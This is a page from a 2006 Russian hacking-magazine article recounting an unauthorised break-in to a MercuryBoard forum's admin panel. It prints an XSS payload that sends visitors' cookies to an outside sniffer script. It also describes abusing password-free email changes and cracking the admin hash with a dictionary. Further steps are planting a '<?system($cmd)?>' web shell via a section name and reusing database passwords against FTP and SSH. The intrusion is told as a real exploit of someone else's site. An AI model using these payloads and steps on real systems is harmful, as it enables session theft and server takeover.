Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #89, МАЙ 2006 г.

Денежный вид спорта

qwentyn (qwentyn@mail.ru)

Хакер, номер #089, стр. 089-072-3


<td class='tabledark'><input class='input' name='title' size='60' value='Re:'<body onLoad=img.src="http://site.com/sniff.php?"+document.cookie>' /></td>

В финале мой скрипт стал выглядеть таким образом:

Re:'<body onLoad=img.src="http:// site.com/sniff.php?"+document.cookie>

Теперь о снифере. Честно говоря, я боялся, что за предельно короткие сроки не смогу расшифровать хэш такого умного админа, поэтому было решено написать функционалку. Что это такое, думаю, PinkPanther тебе хорошо объяснил в статье об укр.нет, поэтому все разжевывать смысла не вижу: исходник снифера для данного форума есть на врезке. Работает он только благодаря тому, что смена email-адреса в профайле пользователя осуществляется без подтверждения пароля.

Итак, адрес в профайле был изменен, прибывший хэш загнан в переборщик. Через пару секунд я уже жалел о том, что использовал функционалку, так как пароль подобрался по моим словарям невероятно быстро - им оказалось слово "mercurial", а прежний админский мейл я уже и забыл. Я не стал заново изменять его, так как вся моя затея могла рухнуть. В общем, палево. Ты, наверное, скажешь: "Да какое палево, авторизируйся, лезь быстро в админку и делай свои дела - все успеешь. Ан нет, в данном движке, при авторизации двух человек одновременно, в активных пользователях они оба и отображаются. Зачем мне отображение двух админов одновременно? Так что оставалось ждать, когда администратор пойдет спать.

[в админке]

Через пару часов админ свалил, и я приступил к своим грязным делам, то есть полез на форум. Авторизировавшись в админке, захотел получить шелл.

Изначально задумка была такова. В MercuryBoard есть такая фишка, как командная строка БД, то есть можно вытворять c базой данных все что хочешь. Я сразу же вспомнил свой старый опыт с данным форумом, дописал к названию одного из разделов нехитрую банальную комбинацию <?system($cmd)?>, а дальше полез в БД-консоль делать бэкап данного раздела.

Расскажу, как я узнал полный путь к папке с форумом. Все очень просто. Админка имеет столько всяких примочек, что такую простую штуку, как полный путь к скрипту, узнать никакого труда не составляет. Смотри сам, phpinfo на скрине:

Теперь, когда полная картина ясна, объясню. Я пытался сбэкапить один из разделов форума, где находился наш инклуд, в файле cmd.php. Но все-таки настройки были выставлены правильно, и меня громко послали нафиг. Мол, данному пользователю любая хакерская деятельность запрещена. Отчаявшись, я полез смотреть пароли к БД - надеялся, что хоть к чему-то они подойдут. Да-да, админка форума и этим радует - прям рай для хакера.

Выцедив имя и пароль, я стал подбирать различные комбинации к ftp и ssh. Но опять же, покопавшись минут десять, снова обломался. И было из-за чего: с шеллом ничего не получилось, админки сайта нет, все на html, пассы к ftp/ssh подобраны не были, проэтому пришлось, как видишь, ограничиться только админкой форума.

Назад на стр. 089-072-2  Содержание  Вперед на стр. 089-072-4